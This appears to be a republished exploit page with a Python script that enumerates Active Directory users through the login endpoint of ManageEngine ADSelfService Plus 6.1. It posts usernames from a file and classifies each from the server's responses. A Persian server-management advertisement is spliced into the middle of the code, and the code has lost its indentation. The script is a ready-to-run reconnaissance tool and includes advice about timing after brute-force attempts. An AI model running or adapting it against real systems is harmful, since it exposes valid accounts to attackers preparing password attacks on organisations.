ManageEngine ADSelfService Plus 6.1 User Enumeration

# Exploit Title: ManageEngine ADSelfService Plus 6.1 – User Enumeration
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Version: ADSelfService 6.1 Build 6121
# Tested Against: Build 6118 – 6121
# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/adselfservice-userenum.md

# !/usr/bin/python3
import requests
import sys
import time
import urllib3
from urllib3.exceptions import InsecureRequestWarning

نیاز به مدیریت سرور دارید؟

تیم آفاق هاستینگ خدمات نصب، پیکربندی، امنیت، مانیتورینگ و نگهداری سرورهای لینوکسی و ویندوزی را ارائه می‌دهد.

مشاهده خدمات مدیریت سرور

“””
The domain users can be enumerated like userenum module of the kerbrute tool using this exploit.
If you conducted a brute-force attack against a user, please run the script after 30 minutes (default settings) otherwise the results can be false positive.
“””

def request(target, user):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = target + ‘ServletAPI/accounts/login’
data = {“loginName”: user}
headers = {“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0”}
req = requests.post(url, data=data, headers=headers, verify=False)

# For debugging
# print(“[*] Response for ” + user + “: ” + req.text.strip())
if ‘PASSWORD’ in req.text:
print(“[+] ” + user + ” is VALID!”)
elif ‘Your account has been disabled’ in req.text:
print(“[+] ” + user + ” account has been DISABLED.”)
elif ‘Your account has expired’ in req.text:
print(“[+] ” + user + ” account has EXPIRED.”)
elif ‘Enter the text as shown in the image.’ in req.text:
print(“[!] The exploit doesn’t detect expired and disabled users. Please, run it after the 30 minutes. “)
elif ‘Permission Denied.’ in req.text:
print(“[-] ” + user + ” is not found.”)

def get_users(target, file):
try:
file = open(file, “r”)
for line in file:
line = line.strip()
time.sleep(0.5)
request(target, user=line)
except FileNotFoundError:
print(“[-] File not found!”)
sys.exit(1)

def main(args):
if len(args) != 3:
print(“[*] Usage: %s url usernames_file” % (args[0]))
print(“[*] Example: %s https://target/ /tmp/usernames.txt” % (args[0]))
sys.exit(1)
get_users(target=args[1], file=args[2])

if __name__ == “__main__”:
main(args=sys.argv)

نوشته های مشابه